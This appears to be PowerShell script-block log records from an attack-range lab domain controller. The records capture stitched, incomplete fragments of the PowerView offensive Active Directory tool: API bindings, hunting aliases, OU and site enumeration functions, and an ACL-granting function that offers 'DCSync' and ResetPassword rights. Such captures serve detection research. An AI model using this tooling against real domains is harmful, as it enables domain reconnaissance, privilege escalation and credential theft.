4104132150x02372886Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4141 = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter Find-DomainUserLocation Set-Alias Invoke-ProcessHunter Find-DomainProcess Set-Alias Invoke-EventHunter Find-DomainUserEvent Set-Alias Invoke-ShareFinder Find-DomainShare Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember Set-Alias Get-NetDomainTrust Get-DomainTrust Set-Alias Get-NetForestTrust Get-ForestTrust Set-Alias Find-ForeignUser Get-DomainForeignUser Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping Set-Alias Get-DomainPolicy Get-DomainPolicyData d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372863Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1841 $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments # "IdentityReferenceDN: $IdentityReferenceDN" if ($IdentityReferenceDN) { $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' # "IdentityReferenceDomain: $IdentityReferenceDomain" $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN # "IdentityReferenceDN: $IdentityReferenceDN" $Object = Get-DomainObject @ObjectSearcherArguments if ($Object) { $IdentityReferenceName = $Object.Properties.samaccountname[0] if ($Object.Properties.objectclass -match 'computer') { $IdentityReferenceClass = 'computer' } elseif ($Object.Properties.objectclass -match 'group') { $IdentityReferenceClass = 'group' } elseif ($Object.Properties.objectclass -match 'user') { $IdentityReferenceClass = 'user' } else { $IdentityReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SiteSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SiteSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishednad123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1 4104132150x02372862Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local1741sGUID. These rights are removed from the target object for the specified -PrincipalIdentity. .PARAMETER TargetIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain object to modify ACLs for. Required. Wildcards accepted. .PARAMETER TargetDomain Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. .PARAMETER TargetLDAPFilter Specifies an LDAP query string that is used to filter Active Directory object targets. .PARAMETER TargetSearchBase The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Rights Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. Defaults to 'All'. .PARAMETER RightsGUID Manual GUID representing the right to add to the target. .EXAMPLE $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } AceQualifier : AccessAllowed ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} [no results returned] .LINK https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $TargetIdentity, [ValidateNotNullOrEmpty()] [String] $TargetDomain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $TargetLDAPFilter, [ValidateNotNullOrEmpty()] [String] $TargetSearchBase, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String[]] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] $Rights = 'All', [Guid] $RightsGUID ) BEGIN { $TargetSearcherArguments = @{ 'Properties' = 'distinguishedname' 'Raw' = $True } if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { 